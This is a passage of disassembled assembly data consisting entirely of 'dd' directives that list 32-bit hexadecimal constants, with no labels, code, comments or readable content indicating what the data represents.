		dd 0D947499h, 60F726CDh, 0A0C448E4h, 71477E62h,	83880A2Ch
		dd 0AA44A5E7h, 0AC369101h, 0DB9CD5F7h, 33CF8ECh, 661576E3h
		dd 30047FE4h, 0AE438886h, 9891BEC6h, 41A563F3h,	59000CE6h
		dd 67FAC279h, 6F4740F0h, 0BE002192h, 0F91CDF80h, 2D006071h
		dd 6C0B8361h, 181676h, 78AAA95Ah, 4035DDDEh, 0A7A4C8C3h
		dd 71FCD1CBh, 0F093C180h, 0B20EE226h, 0C7116E00h, 5FB9472Bh
		dd 983718FEh, 0B5C49827h, 61006372h, 0E23BF780h, 0C031CB86h
		dd 0EA34C8A1h, 4BB8E940h, 80FB873Ah, 0CEA7F258h, 194D7DBEh
		dd 0B9DEFE1Bh, 0C454D17Eh, 9AFAB2C3h, 0F9420C92h, 9FEC7900h
		dd 0A5E17E06h, 0B51FFA08h, 0FC3AEDh, 0F1A8DFE8h, 0FD7C7F78h
		dd 11C97360h, 9676ECh, 0CD39F4AEh, 0D451E44Ch, 0C38F4Ch
		dd 0E156170Dh, 0A491F81Bh, 0AD3044B0h, 0CC975B00h, 4BB6AE24h
		dd 3A7403FFh, 69437365h, 5DECC8C0h, 10FE2200h, 0D38164B6h
		dd 0E1150170h, 0B1F7FACCh, 445C241Eh, 0E5476544h, 5E9A6981h
		dd 0CC4D2245h, 5D005739h, 0C2E7E012h, 0F8140CA3h, 0E37D6Ch
		dd 0D20D0284h, 0B9B50FE4h, 1B76DA06h, 1A49C3E7h, 0F804C1D5h
		dd 88219006h, 0E1372EC0h, 9095E97Ch, 0AAE705CCh, 8B0DA3h
		dd 12CA5C4h, 220CCC79h,	0A8C45142h, 0F09F0A1Ah,	0AA4392Fh
		dd 838408C8h, 0FDE430C0h, 57A3C08Fh, 8F1E2184h,	7C98F425h
		dd 7084CD9h, 206A308Dh,	0E9F7D061h, 5C002C98h, 42A6A0E1h
		dd 50B8E660h, 129DF8AFh, 4B4A37Bh, 40015F94h, 7E10C816h
		dd 7C624937h, 0CDAF027Ch, 7F8BDFF9h, 0BCE4D482h, 0EC8CAC21h
		dd 72FD298Ch, 9042C89h,	0FCF79966h, 4DC892C0h, 3783005Dh
		dd 3A0D386Dh, 0B700B639h, 124EE0EAh, 81824Bh, 37F3DC27h
		dd 27CE4AAh, 4CACAF1Dh,	98BDB503h, 0DAB08845h, 78EE0060h
		dd 2BA2818Ch, 741C4ABFh, 0A807EECh, 9FEDC24Bh, 10449835h
		dd 48A8FC11h, 0E6B41854h, 48CA4A9h, 0E59ADA7Eh,	0A2648103h
		dd 0FBF020B6h, 441E3F22h, 0D7724506h, 5FDCCB01h, 8A81CC5Dh
		dd 1D65FFC0h, 0E6447629h, 18BD6330h, 0D6E84178h, 94C03E2Ah
		dd 0E8B888F0h, 477030E3h, 560E4499h, 2A9220A1h,	0FCF6CBBDh
		dd 0ABC9028Eh, 7B0F7357h, 0FFE7A8A3h, 7F50C5B0h, 0C993728h
		dd 44477126h, 0D821704Ah, 7C61E712h, 88334099h,	66303F22h
		dd 40BE31F6h, 15DC005Eh, 836FFB70h, 8700DA9Dh, 17E701EBh
		dd 20CBD431h, 22430DEh,	0FB47A4FDh, 8A478E90h, 247DEEB6h
		dd 1E844CD6h, 61030222h, 4C9DE9Fh, 55BA11C6h, 171EAD4h
		dd 5D1B52FEh, 317391C5h, 43D9D780h, 66D45122h, 9CA1811Fh
		dd 0BFC8F3BBh, 7260FCCDh, 59EECC2h, 2808058Ah, 0C8C40839h
		dd 909B3489h, 0C0A9473Ch, 0E8E46F79h, 96007043h, 506535Fh
		dd 286EEF48h, 44DC1618h, 220F9E0Ah, 615A8B40h, 0FA81D72Ch
		dd 0CBB50840h, 0E429C035h, 0DE5469F2h, 4C4ACF00h, 798C516Dh
		dd 0BCB1086Eh, 86801E1Bh, 942BB459h, 0AC8048C8h, 0C8799D14h
		dd 341E4185h, 0D8EC20E0h, 0E800F443h, 0D4196305h, 140A258Eh
		dd 5402AC80h, 54A4E402h, 6C448AA9h, 63B4D500h, 1EEE42FEh
		dd 0BCA507EBh, 0A018D050h, 38CA78D7h, 44F5DC00h, 0FC86FF3Bh
		dd 697E18B4h, 709F41F7h, 35DACF00h, 0AE7BC5CDh,	0ED67FBFh
		dd 3160E60Eh, 37B3E760h, 63162A13h, 40458A69h, 8C8BE51Bh
		dd 0EF7D1E00h, 0BFFEF515h, 0E08B5105h, 0F08C4042h, 0A47679ABh
		dd 45E703A8h, 72DE3F50h, 2DA0C0ECh, 51804B87h, 0A392889Fh
		dd 46471200h, 502BAE6Eh, 0ACC63889h, 80058C52h,	0EF467BFEh
		dd 892BCC82h, 0F2E2809Ch, 384E6462h, 6E12E9C4h,	1FFC0FE4h
		dd 1C83B8ABh, 68C21B1Eh, 0D6B28468h, 0A6D5383Dh, 5F0054A1h
		dd 0B1B0953Bh, 0AD300F3h, 989B1343h, 32F0AFC7h,	450063F4h
		dd 9E19765Dh, 0FAFFC38Dh, 8488A0ECh, 9CD70F68h,	370C2C24h
		dd 545CF9A9h, 47430099h, 9EAAE856h, 342B09E4h, 8C003DA0h
		dd 0DBAF946h, 0A43AC440h, 28CD2C94h, 6D6904F8h,	28710FE8h
		dd 0CB1F8001h, 8B9EB632h, 83A9F70Ah, 0A483D4DBh, 0A035F76h
		dd 0C9D08729h, 3D5A02B4h, 0C960FEA1h, 95E676F6h, 541CAB00h
		dd 65D876Fh, 2077813h, 156ED9Dh, 0B861B533h, 0F0A8D845h
		dd 82F9F24h, 882C0B08h,	0E4497A2h, 0BE8EF240h, 2C032BBDh
		dd 6A32B6C5h, 0F04DA087h, 83980168h, 81A9BFCCh,	0B0B1A69Ch
		dd 7913C611h, 8F703037h, 0BA03E664h, 0E889657Ch, 9C5E1F42h
		dd 337B160Fh, 17D8EF88h, 2000AC12h, 95872CBBh, 0F670BDh
		dd 79D2899h, 0E11BFE08h, 0BECB01Eh, 9F8CEB9Dh, 129D2623h
		dd 20C34302h, 0C2ED6758h, 7B708C63h, 2422C337h,	8B288691h
		dd 0D810CB05h, 0D60E3D9Bh, 209E0196h, 76BC4E59h, 0F832482Ch
		dd 719D78C8h, 98DC11A5h, 44FA8048h, 1900B2C3h, 7FA36BCBh
		dd 0C3C2E245h, 0F089AC19h, 76FDA118h, 0C39C51h,	4C29F13h
		dd 0CE79D53Fh, 3EE1D20Fh, 54C1DC3Ah, 44CB875Eh,	0C6B02030h
		dd 417FFD71h, 4F642A00h, 25E3826Bh, 280EE50h, 97D31F0Dh
		dd 9C405C8Ah, 4A2A63E0h, 9144F8C5h, 4A7C7879h, 492856F0h
		dd 58220E88h, 2B0006A4h, 18CCF3D9h, 28AA55C7h, 80283246h
		dd 0DE046C14h, 562C9C16h, 0B1E568C0h, 0C00E14ECh, 0F82ED01Dh
		dd 88AE4190h, 11D0291Ch, 792EC0E7h, 0AAAF0854h,	1056E264h
		dd 0C2005060h, 9516B317h, 8901CCA9h, 0F6E54E1Ch, 33608179h
		dd 8AC51F9Ch, 5CFE80ACh, 0F4A9E00Fh, 54E47EFCh,	7BCF9A00h
		dd 6043D9BFh, 639305DCh
		dd 0D09677E6h, 0C2A29BB0h, 0BD002091h, 0FDFE7F5Fh, 8FB4A84Bh
		dd 99970082h, 0DEAE74E0h, 2800AD89h, 789B3558h,	39D957AAh
		dd 0F6805A2Eh, 58CFE09h, 0C0966137h, 1B1F2540h,	47E094F3h
		dd 0A2AC84D5h, 7C70004Ch, 885D4A25h, 48A098FAh,	9E3F2067h
		dd 0C8126880h, 254E427h, 0CB18AE73h, 16B0CFFEh,	13E8149Dh
		dd 0B712B408h, 61882973h, 44D808C9h, 48B8A24Dh,	662F09BCh
		dd 34D8231Eh, 9491C461h, 0FDF1482Ah, 0F40A8062h, 1EC7184Ch
		dd 97111D68h, 0B0D850A5h, 9136FD02h, 0E4C64B62h, 0CBBBD400h
		dd 497232A8h, 2F300F8h,	857881C0h, 64148C90h, 6C7B6DBh
		dd 0C4BF7107h, 0E4E6EB50h, 9F3418E8h, 6386912Dh, 4CCC8B5Ch
		dd 0AC250824h, 8056403h, 8DA90B32h, 0ACA44890h,	5E791E1Fh
		dd 239E6E83h, 32487399h, 64C1BBB0h, 5F4EC560h, 8CF56606h
		dd 0A059C454h, 16259C0Ch, 0FA2805Ah, 7EA4E8h, 0DE094513h
		dd 91254A6Bh, 2F001863h, 0E88B2CD6h, 0B044E9A0h, 0F585A700h
		dd 356F65AEh, 476FEB3h,	2FE7EEF7h, 34D0B075h, 0D045984Ah
		dd 0A845AC47h, 0F40055A0h, 13272A81h, 54DF3922h, 0FDFF1880h
		dd 0CB0701EAh, 0DD138F7Ah, 0F417B561h, 5AAC1C40h, 192D3DBh
		dd 90223C41h, 0C880B785h, 72ECFA3Bh, 27CBA509h,	163081B9h
		dd 0E44844A4h, 1CEA0061h, 0F3A2F775h, 6301EE89h, 36FC33B6h
		dd 5C52FADFh, 3EF04466h, 0B581A3C6h, 741E8DA8h,	32A442CBh
		dd 69F8F91Bh, 1D008832h, 62AF5594h, 4F035AF5h, 0D5F334A1h
		dd 0D2EBC838h, 0EA070F4h, 2FE4A590h, 66684A53h,	0A20B1820h
		dd 3B051316h, 6F0E5C21h, 79A9B0C0h, 0FFD80062h,	454FCD72h
		dd 7A136D6Eh, 0A804BBA0h, 7948267Dh, 5ABF2E80h,	186B565h
		dd 36AF4219h, 9791D80Ah, 0A432D530h, 0E6B120C3h, 249AABFDh
		dd 4CFD4898h, 0DA00B4F8h, 522997CFh, 2CCF21Eh, 88DD8B08h
		dd 64510C1Fh, 0BB37CF01h, 8D62CD8h, 0DA800008h,	0AF4B618Bh
		dd 2A165890h, 18818ACBh, 0A03D6734h, 78B6450h, 131DAFCAh
		dd 9AB5B2A5h, 0ACC04605h, 0C987A981h, 64220739h, 2EC2A5C6h
		dd 35F2FC64h, 0E8393003h, 0B1D7489Ah, 0B9D8D847h, 0A67F00C5h
		dd 63090B34h, 39009D7Ch, 939F102Bh, 96209EA2h, 0E8094B74h
		dd 1B667440h, 0B41588h,	86A5D604h, 367FC7DBh, 5A61D100h
		dd 5D515895h, 0A850F744h, 2313282h, 1BD24777h, 74D1B9F1h
		dd 0CC48ED11h, 883B4AC0h, 0A0001735h, 50489562h, 0AD2F1Ah
		dd 0D258366Bh, 2E438880h, 1C089A4Ah, 42B1834Bh,	0C6F176B9h
		dd 375884CBh, 38CC2C60h, 20BA6742h, 909489C5h, 0AE9A5713h
		dd 0D42E004h, 5082790Bh, 5881DEADh, 208C2EDCh, 13A4444h
		dd 948813C6h, 4F9B5008h, 0AAF020B2h, 6F00713Dh,	47B75DBDh
		dd 776D772Ah, 19C8E0CCh, 70419A8Ch, 0E0C9156Ah,	2830C240h
		dd 0B8E57FF6h, 806220C0h, 89E1CB0h, 9F00DC93h, 93FFF4B3h
		dd 0F07E666Bh, 8F4829A4h, 24405A70h, 0CAECACCDh, 0AB7E32BFh
		dd 0F8E08CB8h, 0DF407B1Ah, 0ACC144F1h, 0C81C8650h, 80596331h
		dd 5400DE40h, 0D66C69B6h, 88AFF039h, 533EE90Ch,	9FC19CC9h
		dd 16DC4C80h, 523710A2h, 0E502C445h, 0E6B3E1D5h, 0DE13B844h
		dd 5030AB19h, 0C957BCh,	4697ED0Bh, 0EF02A38Fh, 2F3A410Bh
		dd 67BC00F2h, 2CF3145h,	7E2CD7CDh, 0EC82D659h, 9A21E32Fh
		dd 0A205DF74h, 4CD3000Ch, 7313D2B5h, 6F60E21h, 36A0240Ch
		dd 7934CFB4h, 9C77A104h, 2090D953h, 924C507h, 0FE1B197Bh
		dd 70300844h, 84CB210Eh, 0C87814D3h, 0BE003444h, 176BB310h
		dd 8539599Bh, 6AD9001Fh, 0EEA40597h, 232B021Ah,	0CA9ACBBAh
		dd 0A0B42F0Bh, 1F912F81h, 8C8A06A4h, 0D85D8DDAh, 0C0E05B24h
		dd 3D25A0EFh, 77F98C5Fh, 9B9000C4h, 0CE1E306Bh,	1116B2ABh
		dd 0C044A094h, 0E7400C40h, 0FD78EE42h, 0E0BDA526h, 46CB225h
		dd 40CC7F9Ch, 92A52DDBh, 47763882h, 67027459h, 4086C25Ah
		dd 524041h, 82AF8C80h, 0CF438114h, 0DB70A526h, 0B490FD12h
		dd 0F4F00Dh, 4E53ACE1h,	6A5E9A10h, 0E2A7B107h, 833E44E5h
		dd 0E216589Eh, 0E3B8801Ah, 0F024CA76h, 0E7F50411h, 0C8FD7906h
		dd 91019590h, 7B483EEBh, 0E0CB3AA8h, 89D102h, 90DAF91Ch
		dd 81F5A974h, 45198B07h, 0B991FBEFh, 0C9FC7F69h, 1ECC09ACh
		dd 0A3826CBAh, 0A4725FA4h, 8019103Bh, 0FC83BD86h, 9B5D3Ch
		dd 0E7638F5Ah, 0C0DC160Ch, 5305F178h, 0B6421807h, 61B4BCC2h
		dd 52141E04h, 0EA4B007Ch, 0D66E0350h, 59B50C00h, 0C2470509h
		dd 4F0F3852h, 0E0919801h, 0D8840D73h, 0EC38547Eh, 0E24C7548h
		dd 0E572007Bh, 0ACCF8B9Fh, 81E90084h, 0A67AAE23h, 0AB604491h
		dd 437DF5B9h, 2DFD3E37h, 16B7CE81h, 48CAACB3h, 900986F0h
		dd 64E47E43h, 887D00D4h, 0EABDFF3Bh, 4F078355h,	0B391B469h
		dd 0A89DE9B3h, 5B1A2ACDh, 7DC52A6h, 0C317A58Ch,	4FA0D4E1h
		dd 2202FCDEh, 0BE9C3585h, 493879D9h, 7A29C898h,	97063216h
		dd 9271CA0Eh, 0DC2C5423h, 0A69B3444h, 0AF610B14h, 1E684CC2h
		dd 39190F6h, 0D21E4C7Ch, 0FB1BDEE8h, 0E800994Bh, 3B61CCB2h
		dd 0B938C2ABh, 6C66B5A9h, 2FD0C703h, 0C0DA3269h, 0BEA77C11h
		dd 6E49C09Ch, 5C000375h, 0AA418B25h, 198AEBh, 0E6E76F06h
		dd 0DD088D2Fh, 0CC0D9603h, 0A5FEEE26h, 0A519BB80h, 632B09B2h
		dd 0D448ED45h, 88A46B5Eh, 0A30E78B0h, 82739D7Bh, 0A07AFCE7h
		dd 0DDE33A90h, 0B633033Bh, 41854FB4h, 0FE5CC3B5h, 0C1D771ABh
		dd 683FCBE1h, 0F180C020h, 7BC76AC9h, 0EAE807F9h, 80532047h
		dd 8DE270BEh, 0CC46633Eh, 0E0C09F20h, 74BA10A0h, 558E0EC0h
		dd 0FA475945h, 32FEA7A4h, 587A2B76h, 0E2133403h, 1E79EA9h
		dd 0AA0F4441h, 60E661FEh, 2C4A8734h, 1031C98h, 0A5EA021Dh
		dd 0DD8775D7h, 2472CBh,	390B1955h, 0BE9EA0h, 1318C5CDh
		dd 0C31D277Bh, 0D1987278h, 61889305h, 94D4C10Bh, 2148F022h
		dd 2A58DA79h, 0D5432C20h, 3DF81D4Bh, 0C89A0073h, 635AEF72h
		dd 0BA020493h, 22F683A9h, 588070FDh, 8D6592B9h,	114C75F8h
		dd 940B396Fh, 13A96635h, 8894FB34h, 9340C01Eh, 0B478F1AFh
		dd 0F8990516h, 84EC901Ah, 0E0B88906h, 1112E7A5h, 1044BE66h
		dd 0A488E41Bh, 0BC17025Eh, 0D45B352Eh, 0D8823062h, 0F042E1E4h
		dd 0AF11C0C4h, 8C2E0AC9h, 89A63E7Dh, 0D0C817BCh, 0F1BAF5D4h
		dd 9731609Dh, 94D5000Fh, 0B28AF3E1h, 0E80C1618h, 799344B5h
		dd 0B8A103BEh, 5ADEE146h, 0F41D718Fh, 14A6E03Eh, 7429601h
		dd 0D5F7654h, 0FAD1E710h, 0F8E1D629h, 6C97BF16h, 576843F0h
		dd 697F2640h, 24844080h, 3700DB19h, 8980415Bh, 5CC4A912h
		dd 6909A0CBh, 5C442F36h, 4745CC00h, 26E2D190h, 6189077Eh
		dd 80A24180h, 29F05E86h, 6F19D91Fh, 0CE538C49h,	0FD9E2918h
		dd 0AAF90098h, 0C2E4A8A3h, 9099C8E8h, 0F00A3E82h, 1067E009h
		dd 282A4EB0h, 7A8267ACh, 98894C34h, 0E848C825h,	6300CADBh
		dd 6A789130h, 3C5AE87Eh, 0FB84B8D0h, 874B1172h,	10B22404h
		dd 18152288h, 0B6FFA87Ch, 0F70046D6h, 6C19C07Eh, 488CF0A2h
		dd 18079F73h, 578F1BC3h, 0C8A645CEh, 0B06B638h,	3B447604h
		dd 0CC1F4A89h, 8D4CAC0Ch, 0A244C46Ch, 458718ACh, 0CC4A6037h
		dd 80E82B8Ch, 33C84B18h, 8CA49h, 0FC9E9FBCh, 7CF6A8A0h
		dd 0A5244300h, 35B6CC84h, 4AA4A7Bh, 0D8932778h,	323DE9CCh
		dd 258F87E1h, 0D4F10FC0h, 0CBE01A57h, 4261C00Bh, 0B9968EBBh
		dd 0FB981B00h, 7EA88C62h
		dd 42664A37h, 0B5252EBCh, 0DBA2660h, 6C89F090h,	12CD0883h
		dd 0C87B94C7h, 2D5C7680h, 0E4B1C048h, 9D7FEFh, 0AB162B56h
		dd 0F73B780h, 80A46348h, 1C74011Dh, 2827E869h, 308C5ACh
		dd 0B6B5E703h, 715F49E6h, 68D6D00Bh, 1EFC588h, 28AD3125h
		dd 7CF1BD2Bh, 0B2CC009Ch, 6D146315h, 27810E4Dh,	0F26F56EDh
		dd 5380400Fh, 453398A5h, 7C010D00h, 1343B582h, 6EDA00ACh
		dd 64EFD477h, 0B11F56A8h, 2C01C38Bh, 0FAA47BD1h, 8C2EC8C3h
		dd 847E5466h, 5B4C9086h, 1E64401Ah, 78ADFA27h, 2D009095h
		dd 15E70086h, 0CF5CB4ABh, 5A00A80Ch, 33B111BCh,	0F99424Eh
		dd 8FC89D46h, 0D8600593h, 7DBCB01Dh, 432159F8h,	503890CCh
		dd 695A7B84h, 982EE440h, 78A7FF20h, 809A0424h, 0F50A2A43h
		dd 0C6604208h, 56B2AC22h, 25C76000h, 0AE85743h,	5184B501h
		dd 8F3FBD34h, 0AC8EA0D7h, 826A1252h, 0F30808DBh, 0AB7F7940h
		dd 4F67B76h, 55446AA5h,	83CBC90h, 0DEB866h, 0CE8BDA86h
		dd 5B0BB68Ch, 0A2AC4B61h, 105A4230h, 2A882C9Ah,	44372F63h
		dd 0D9F32811h, 1BDC64A4h, 81BBAD32h, 60C4E6h, 35CC45DDh
		dd 146ABCF6h, 6694BA00h, 0A1248C09h, 5CE70B08h,	884DD29h
		dd 0B044C73Eh, 0D346BC8Eh, 9E5C4B77h, 0E3270090h, 5A43BFE2h
		dd 788C0680h, 30ACA8C4h, 38724102h, 87BCB31h, 0A5802C0h
		dd 0B8504898h, 0BDBE3700h, 0AA8AAFE7h, 0EFB00084h, 0B4ACA49Dh
		dd 3B046EB7h, 369FEC8Bh, 3E47E087h, 0DFD07C47h,	1849069h
		dd 0D78175B5h, 0F25D8A48h, 0AD788840h, 86ABA80Fh, 0EC2B6A2Ah
		dd 377D7F01h, 0A82D7798h, 0DC00A522h, 0AF9C0C1Ch, 0B6E6D5h
		dd 8B411737h, 16F3811Fh, 0D1006674h, 83E9B552h,	9607CFACh
		dd 0C10E3EACh, 0EF477133h, 53BFC0AFh, 30C076B3h, 82A3963Bh
		dd 0E6B701ACh, 89B20670h, 0E0092AFCh, 0BC7A99h,	66C143B6h
		dd 0AE77F108h, 0B52F8C04h, 0A8E9B16Ah, 0D574C322h, 7E542500h
		dd 0FB080FFEh, 1F790216h, 70FDE163h, 5247602Eh,	143B2D9Ch
		dd 0E26F7121h, 50B17509h, 83492480h, 15008611h,	4DF54394h
		dd 3AAFF888h, 0E681B32Ch, 0FD42DBB4h, 0C595FC76h, 92C1D896h
		dd 41E4BF3Eh, 0D3720045h, 0EA09C367h, 0CB5D0AF5h, 37D5032Ch
		dd 0BB63EF13h, 0D34822FCh, 0F81BE713h, 8167A8D0h, 0E4933AFAh
		dd 0FEB7C300h, 9A8C878Bh, 0A21B3706h, 32F91E7Dh, 16485942h
		dd 5A88E52Fh, 2C7880C1h, 50E2A01Ch, 0B07F4700h,	3C62EB04h
		dd 589A2E98h, 74142FFCh, 577B0300h, 1AC98197h, 45F001Dh
		dd 9BFB364Dh, 7626A562h, 6643542Eh, 114100E3h, 818EAFFDh
		dd 0C35AB1CEh, 0CAB8AC20h, 0DD47009Dh, 0FCA7E785h, 0B308DB5Dh
		dd 83011BBCh, 0F6BFF51Eh, 5C0800A5h, 0AD7F96E5h, 342B7612h
		dd 240068B2h, 4F578660h, 0B200F940h, 0A5EEF769h, 0A716428h
		dd 68BE5F11h, 82AA17BCh, 78D9C0CCh, 78627F00h, 260D95BEh
		dd 2366970h, 0F161375Eh, 4300B07Ah, 3E8ED6F3h, 0B9AC1BADh
		dd 64C680ECh, 0A5491029h, 7A7C875Ch, 26C05748h,	8000009Fh
		dd 0D37F7B20h, 548C242Ah, 0C7CA0130h, 70BAA574h, 0EF67848h
		dd 19C240Eh, 81D74475h,	62812CECh, 0D0C6B9CFh, 91076ADBh
		dd 0BB3DEAF3h, 6BB38170h, 0BC2CB088h, 0FD8A80C8h, 13568F2h
		dd 78F43Fh, 0DDA9923Ch,	2954AC3Fh, 249CCECBh, 76C71178h
		dd 76B5A307h, 0E9C2FE88h, 92864E5h, 0C3A9CBE1h,	4F554CA0h
		dd 7500A024h, 0A802097Dh, 0C029492Dh, 9AFFC1B4h, 2E609774h
		dd 0C6612110h, 0AF1F0012h, 0FC8D3307h, 0D11D9E94h, 0A8806A49h
		dd 0A4E5C59Ch, 579302E1h, 8CA98AEDh, 427C48C4h,	0A5790D03h
		dd 8F1BD5A2h, 10909944h, 0B4EEB5ACh, 40AE44C4h,	38906D63h
		dd 0C9300078h, 58E4DC31h, 9B0CFD4h, 8B64160Ah, 0E640C4D3h
		dd 9DD4489h, 0E0AA7A84h, 22794A5h, 0D850280Ch, 457A4CE4h
		dd 0F4061903h, 0C211C064h, 0C20880ECh, 5A54AE39h, 8A835A9h
		dd 9E800D60h, 65696127h, 282C7083h, 708FF81h, 45197E8Fh
		dd 0D0561025h, 0D4FA606Ch, 0E5E12160h, 4A1BE1D6h, 797040F0h
		dd 8A3719C7h, 0B4B7EB16h, 88126C09h, 0FB08EC12h, 115982DDh
		dd 5844445Ah, 0B936C302h, 4BA257Dh, 94B9CBh, 0F8D14F41h
		dd 0AFA863h, 386C816Ah,	0F9C808ACh, 0BC89C89Bh,	28E8D079h
		dd 26CC54C5h, 0BF805D8h, 0E0E8697Eh, 513ED67Ch,	0A017093h
		dd 0E3FE2D33h, 80396637h, 40F8472Ch, 0AE680CBh,	0B76D750Fh
		dd 99480C8Ch, 209F6E7h,	0D8F3D153h, 38606425h, 1F880141h
		dd 0C3A01944h, 40F4F805h, 67FC7144h, 438E69C0h,	998A12h
		dd 80EDA5B8h, 4963377Bh, 685E21C9h, 38769198h, 8887F1A8h
		dd 314C9F2Eh, 0ECBFE123h, 344F9DD5h, 1BC770C1h,	558B6983h
		dd 4100AD47h, 34E6466Dh, 0E098DF6h, 206E5FA1h, 0D8862480h
		dd 0AB00E81Ch, 0E4DDE970h, 659EDFA5h, 0C54638A6h, 8CA20Ch
		dd 0BD06D44Ah, 68C39Fh,	8F77C68Dh, 0E13EB160h, 0F8438601h
		dd 0E6854796h, 0DB44888h, 76803281h, 0D9020145h, 0AD643471h
		dd 0F06A6304h, 42804B4Ch, 0C7902F15h, 0E67E8418h, 9D94D654h
		dd 66A36B0Ah, 9880F019h, 0B140DD0Fh, 0B66E0743h, 51B8F5F0h
		dd 2A1E9CB5h, 9DEE6020h, 0E0CFE075h, 14EA39CEh,	0C589B000h
		dd 8D84C48Fh, 690A0814h, 4400762Ch, 121D6EC0h, 24748316h
		dd 2C8E5EAEh, 9CC104ABh, 0CF48A83Ah, 706480CDh,	346B216h
		dd 5EB442F1h, 0EAB84769h, 5BB8D179h, 2F54EE48h,	0FBF8199Ah
		dd 1D165908h, 0C81F8F64h, 0FF437105h, 88E26888h, 8BFE4CFBh
		dd 9A5B640Dh, 8F15069h,	0E322602Dh, 96C358C8h, 43D9E1D5h
		dd 20171A40h, 54CC6334h, 60ACBCFEh, 41B3DD16h, 0C1976B00h
		dd 20E2CA6h, 0E15B16D5h, 63FC08CDh, 3020931Ch, 0E2A909E6h
		dd 0D0000566h, 0B2925998h, 0B80D88D5h, 0E4675900h, 282BA400h
		dd 7226A505h, 0A0ABAA2Ah, 0B340B4B4h, 3EB43208h, 60D99967h
		dd 12D08A4Bh, 48E7ED45h, 84A0CB27h, 185F71CDh, 69C2C132h
		dd 76D122ADh, 0E00550F3h, 481CA679h, 0E750186Fh, 63872CD5h
		dd 7EE20900h, 0BDB71018h, 39F52200h, 84662F1Fh,	0FD5100EDh
		dd 8D018CB5h, 0DE4FFBAh, 0F9449197h, 4E4EC84Ch,	7B48410Ch
		dd 20C2AE13h, 0B90517B3h, 0B46C8EF3h, 74A834D4h, 4CC0C34Bh
		dd 50D98800h, 0DCE1104Eh, 5A4400F2h, 0B7C686EFh, 3C90F0BEh
		dd 13009490h, 5B8164EDh, 0B9E13F3Ch, 0DE668828h, 0D66E5705h
		dd 38043CF2h, 0B29F3756h, 8D250554h, 58AC7E85h,	0CF5E2F03h
		dd 0BDE08FE3h, 977C99B5h, 0FBA41095h, 456E02A8h, 1D42B4A5h
		dd 0C3249C80h, 0AAE282CFh, 0B12B0D0Fh, 0E1DA80BDh, 0CAA89B7Ch
		dd 9BCE738h, 500828AFh,	54434BF0h, 5080E2AAh, 0BFE783Dh
		dd 46179A03h, 95668CDCh, 0E086A0D0h, 90F75B42h,	22F41E00h
		dd 0CC7F9104h, 0F8C2D76Ah, 7D52948h, 15221B21h,	0A9808204h
		dd 429C4680h, 70B100E7h, 3886890Eh, 406C004Ah, 18D474C8h
		dd 3D01D34Eh, 497EC043h, 35E156CEh, 0C161083h, 0B10E110Bh
		dd 0C0ACCFA9h, 71A8A0DEh, 4494B81Dh, 0C04EA6C4h, 80A68412h
		dd 1AD0C84Fh, 0A913420Ah, 0F0905081h, 3FECB682h, 6640D054h
		dd 3929BE42h, 88CA279Fh, 4A017410h, 3CBBA3D1h, 2FC486BEh
		dd 0B0667949h, 0F4EF00FAh, 73243893h, 0E263B5F6h, 0F21AC808h
		dd 6018DC7Fh, 0B7A51D56h, 0A0303FFFh, 1014B902h, 40072CA9h
		dd 0ECB18F08h, 518E3980h, 0AC1AC6h, 6C315762h, 6D5EE468h
		dd 0BB340h, 80D964E2h
		dd 88896074h, 20C84328h, 0C09FC500h, 64CFE4E1h,	2017014Dh
		dd 1BD02946h, 91C3830h,	79377F7Bh, 7CBD1EF8h, 44689C24h
		dd 0C068BC2Bh, 599EBB68h, 3F6D0064h, 4A31895h, 0D83808F9h
		dd 497BFDFh, 7875DD2Bh,	80F68084h, 0D104B421h, 0AA409044h
		dd 51A7FA21h, 5E2E5B07h, 25718047h, 84DE3517h, 0ECECA6B8h
		dd 7A67E410h, 338060B6h, 350E6E73h, 0CF5404B9h,	0C525BCC9h
		dd 89ECB26Ch, 0F9848040h, 0B1A8A3BAh, 521381D8h, 0E4BD3B7Bh
		dd 10011417h, 0ABA72589h, 843703B2h, 0FE58374Bh, 7D439081h
		dd 25442381h, 15CC2047h, 2142370h, 0C9D71DCh, 0D879C143h
		dd 1800EF10h, 80AA2A42h, 1F5C2587h, 0C0B13F50h,	61CF02B7h
		dd 0E2A24690h, 54013CC6h, 6F063381h, 25D840E0h,	2224B8F3h
		dd 3A1692CAh, 0D403E480h, 0A4A9B537h, 0F18800F8h, 0E7ACE8E1h
		dd 2CF8E9F0h, 0C9704437h, 4578004h, 8148367h, 0FF80543Fh
		dd 0BD9B534Ah, 1007C52h, 6B1DAC5Fh, 355B2EFh, 0C5AF42FEh
		dd 0B6C25CC1h, 9466C062h, 0E9C91F01h, 0EB34108Ah, 0A3493080h
		dd 0A7C437Fh, 0B02F40A0h, 76A4E409h, 0D1509047h, 25BF0257h
		dd 0CB8CAEC0h, 5F01D052h, 0A04C9DCDh, 0A980FAFDh, 2D81DB86h
		dd 1100AD31h, 0D0508F4Dh, 3E8A667h, 841CD42Bh, 0B5C8FDDEh
		dd 5F2E44F1h, 0B4075605h, 9859CEA6h, 12CA410h, 56302D06h
		dd 20B1BCB6h, 0AA27FA30h, 34E6A3h, 0E5427F79h, 0EB0B76B3h
		dd 7B6E4C13h, 45161603h, 0E85C8856h, 7D600C7Ch,	4FA92609h
		dd 0B88BC80Bh, 2E7C7043h, 400CCB2Ah, 61D89A19h,	119D6904h
		dd 68805244h, 58C208E4h, 6B01EC96h, 0BD3859A0h,	0EBDE33Ah
		dd 14344508h, 0E11B8061h, 0C043FE9h, 8A440F83h,	0C4E52118h
		dd 0BE88AC11h, 0C89F0F81h, 0B2313973h, 7AA0C87Ch, 9C3A3D1Dh
		dd 91A00C8h, 0D6F9620Eh, 20A95E3Bh, 1FA2CD78h, 4BEC7116h
		dd 652224B4h, 0E80710Ah, 8B7FA444h, 0BC895EBFh,	8DFE20C8h
		dd 10E8E24Ch, 0D10B239Eh, 5003ED94h, 0CBC2D5D2h, 45009459h
		dd 0ECC5AB42h, 0DCFD2A95h, 0A84730D0h, 89453521h, 5783B300h
		dd 4FB8867Fh, 0AAAC2F1Bh, 5D58C818h, 70647648h,	8F748A17h
		dd 20E65062h, 7DA9C7C8h, 8A400496h, 0FE27887Eh,	17A5FE25h
		dd 0CC34F576h, 9E16B114h, 0A00BAFCDh, 0B2D0E9A8h, 5E800828h
		dd 4AB244Bh, 0B8567712h, 0B68FAF02h, 0EAEC80E1h, 0A0C5A5E7h
		dd 3BAA90F8h, 25A491C2h, 0A2082008h, 0B7140414h, 569F84BDh
		dd 64A378h, 97D8F934h, 0B5F1DEh, 0D68AFF1Eh, 0E69F4CECh
